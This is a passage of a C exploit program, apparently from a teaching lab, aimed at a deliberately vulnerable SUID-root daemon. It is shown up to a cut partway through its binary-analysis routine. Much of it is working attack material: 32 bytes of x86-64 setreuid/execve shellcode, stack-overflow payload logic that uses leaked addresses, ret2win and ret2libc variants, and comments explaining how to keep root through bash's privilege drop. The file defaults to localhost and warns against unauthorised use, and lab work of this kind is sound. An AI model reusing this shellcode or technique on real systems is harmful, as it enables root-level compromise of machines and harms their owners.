/* * ============================================================================ * foosc.c -- "foosc": the exploit for the SUID-root daemon `foosd` * ============================================================================ * * PURPOSE * ------- * `foosc` connects to `foosd`, reads the leaks it publishes, and builds a * payload that overwrites the saved return address on `foosd`'s stack. When * foosd is running SETUID ROOT (which `make setuid` arranges), the resulting * shell runs with euid 0: this is RCE that ends in a *root* shell. * * The technique that gets root is the default and the star of the show: * * TECHNIQUE: shellcode * ------------- * The payload is 32 bytes of raw machine code that does * * setreuid(0, 0) ; ALSO clear the real uid -- see below * execve("/bin/sh", 0, 0) ; become a shell * * It is placed on foosd's stack and the hijacked `ret` jumps to it. The * setreuid is not optional. bash (and dash) compare euid against ruid at * startup and RESET euid = ruid whenever the two differ, so a plain * execve("/bin/sh") out of a setuid process would give you a shell that * swiftly forgets it was root. setreuid(0,0) makes both ids 0, the shell * sees equal uids, and root survives. (Why ruid matters is explained in * the comement blocks around SHELLCODE[] and in README.md.) * * Other techniques are included for comparison, and each is a lesson: * * ret2win jump to foosd's `win()`. It execs /bin/sh WITHOUT * clearing ruid, so you get a shell that is NOT root * -- the shell's own privilege guard robbed you. This is * exactly what happens to naive "SUID + system()" code. * ret2win-root jump to foosd's `win_root()`, which calls * setreuid(0,0) from C first. ROOT shell, no shellcode. * ret2libc call system("/bin/sh"). system() runs the command in a * fresh /bin/sh, which -- same guard -- drops the * effective id: a shell, but NOT root. * leak just print what the daemon tells us, send no payload. * demo overflow with 'A's only: proves the bug via SIGSEGV. * * THE SUID STATE IS PART OF THE PROTOCOL * -------------------------------------- * The daemon's banner includes "ids=euid/ruid". foosc prints a loud warning * when euid is not 0, i.e. when you have not run `sudo make setuid` yet -- * without the bit, everything below still works, but the shell is a plain * user shell and thinking the exploit "failed" would be wrong. * * SAFETY * ------ * Defaults to 127.0.0.1:2343. This lab produces ROOT shells on the machine * it runs against. Point it at anything you do not own and you are * committing a computer-intrusion offence. Don't. * * Build: make foosc * Usage: ./foosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] * * THE SHELL IS ON THE VICTIM * -------------------------- * Like fooc before it, this program never spawns a local shell. After the * payload lands there is exactly one shell, running inside foosd's hijacked * (root) process with the TCP connection as its stdio. This side only * relays bytes -- see become_shell() for the story of why that is the only * correct design. * ============================================================================ */ /* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */ #define _GNU_SOURCE #include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ #include /* isspace()/isxdigit() for parsing. */ #include /* dlsym(): find a symbol's address in OUR libc. */ #include /* errno / strerror(). */ #include /* open(), O_NONBLOCK. */ #include /* struct sockaddr_in, htons(). */ #include /* poll(): multiplex the terminal and the socket. */ #include /* uint64_t. */ #include /* printf and friends. */ #include /* exit(), malloc(), strtoul(). */ #include /* memcpy(), strstr(), memmem(). */ #include /* socket(), connect(), shutdown(). */ #include /* ssize_t, pid_t. */ #include /* waitpid(): reap the relay child when the session * ends. */ #include /* read, write, close, dup2, usleep, _exit. */ /* ------------------------------------------------------------------------- */ /* Defaults */ /* ------------------------------------------------------------------------- */ #define FOOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ #define FOOSC_PORT 2343 /* Must match foosd's -p. */ #define FOOSC_BIN "./foosd" /* The target binary, for static analysis. */ /* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based * copy; instantly recognisable in a crash dump as 0x4141414141414141. */ #define PAD_BYTE 0x41 /* Upper bound on banner/leak text we tolerate. */ #define RECV_MAX 4096 /* ------------------------------------------------------------------------- */ /* x86-64 shellcode -- the setreuid + execve payload */ /* ------------------------------------------------------------------------- */ /* * 32 bytes of machine code, byte-for-byte what shellcode.S assembles to. * * setreuid(0, 0) ; ruid = 0 AND euid = 0 * execve("/bin/sh",0,0) ; become a root shell * * 31 ff xor edi, edi ; ruid = 0 * 31 f6 xor esi, esi ; euid = 0 * 6a 71 push 0x71 ; 113 = setreuid * 58 pop rax * 0f 05 syscall * 31 f6 xor esi, esi ; argv = NULL * 31 d2 xor edx, edx ; envp = NULL * 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f * 73 68 00 ; rdi = "/bin/sh\0" * 57 push rdi ; string onto the stack * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" * 6a 3b push 0x3b ; 59 = execve * 58 pop rax * 0f 05 syscall * * WHY setreuid AND NOT setuid -- this comment is the whole lab in miniature: * * execve leaves uids alone. A setuid-root process therefore execs /bin/sh * with (ruid=user, euid=0). bash notices the mismatch at startup and, in * the absence of -p, sets euid = ruid -- the shell's built-in guard against * exactly this attack. setuid(0) alone also loses, because it only changes * euid, so the mismatch survives. setreuid(0,0) changes BOTH, giving the * shell equal ids to start from, and root persists. Compare with foosd's * win() (no root) against win_root() (root) for the same lesson in C. * * Note there is deliberately no `ret` at the end: execve replaces the whole * process image and never returns. */ static const unsigned char SHELLCODE[] = { 0x31, 0xff, /* xor edi, edi */ 0x31, 0xf6, /* xor esi, esi */ 0x6a, 0x71, /* push 0x71 (setreuid) */ 0x58, /* pop rax */ 0x0f, 0x05, /* syscall */ 0x31, 0xf6, /* xor esi, esi */ 0x31, 0xd2, /* xor edx, edx */ 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low) */ 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high+NUL) */ 0x57, /* push rdi */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x6a, 0x3b, /* push 0x3b (execve) */ 0x58, /* pop rax */ 0x0f, 0x05 /* syscall */ }; #define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) /* ------------------------------------------------------------------------- */ /* Results of analysing the target binary and our own libc */ /* ------------------------------------------------------------------------- */ struct bininfo { unsigned long vuln_addr; /* Address of foosd's vulnerable_handler(). */ unsigned long win_addr; /* Address of foosd's win() (non-root shell).*/ unsigned long win_root_addr;/* Address of win_root() (root shell).. */ unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ unsigned long rip_off; /* buf -> saved return address. THE key. */ unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */ }; struct libcinfo { unsigned long base; /* libc base in OUR process. */ unsigned long off_system; /* offset of system() */ unsigned long off_read; /* offset of read() -- matches the leak */ unsigned long off_binsh; /* offset of the "/bin/sh" string */ unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ }; struct leaks { unsigned long stack; /* A stack address (informational). */ unsigned long libc_read; /* Real address of read() in target's libc. */ unsigned long buf; /* Address of foosd's `buf`. The whole game. */ int euid; /* Target's effective uid (from banner). */ int ruid; /* Target's real uid. */ }; /* ------------------------------------------------------------------------- */ /* Step 1: static analysis of the target binary via objdump */ /* ------------------------------------------------------------------------- */ /* * Why parse disassembly instead of hardcoding the offset? Because the number * (88 for this build) is a property of the compilation, not of the bug. * Rebuild with another compiler version or another local variable and it * changes; a hardcoded offset is the classic reason exploits die after a * rebuild. Computing it keeps the exploit honest and it is what a real * analyst actually does. * * GCC -O0 on x86-64 emits for the target function: * push %rbp ; mov %rsp,%rbp ; sub $N,%rsp * lea -OFF(%rbp),%reg <- the buffer, passed to read() * so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is * 8 bytes further up: rip_off = OFF + 8 */ static int analyse_binary(const char *path, struct bininfo *out) { char cmd[512]; char line[1024]; FILE *pp; int in_vuln = 0; int saw_read = 0; int have_off = 0; long best_off = 0; int status; memset(out, 0, sizeof(*out)); /* objdump is guaranteed present because the lab builds with it. */ snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", path); pp = popen(cmd, "r"); if (pp == NULL) { fprintf(stderr, "foosc: cannot run objdump: %s\n", strerror(errno)); return -1; } while (fgets(line, sizeof(line), pp) != NULL) { /* --- Function boundaries: "0000000000401535 :" ---------- */ if (strstr(line, ":") != NULL) { in_vuln = 1; sscanf(line, "%lx", &out->vuln_addr); continue; } if (strstr(line, ":") != NULL) { /* Longer name; check it FIRST so it is not confused. */ sscanf(line, "%lx", &out->win_root_addr); continue; } if (strstr(line, ":") != NULL) { sscanf(line, "%lx", &out->win_addr); continue; } /* Any other "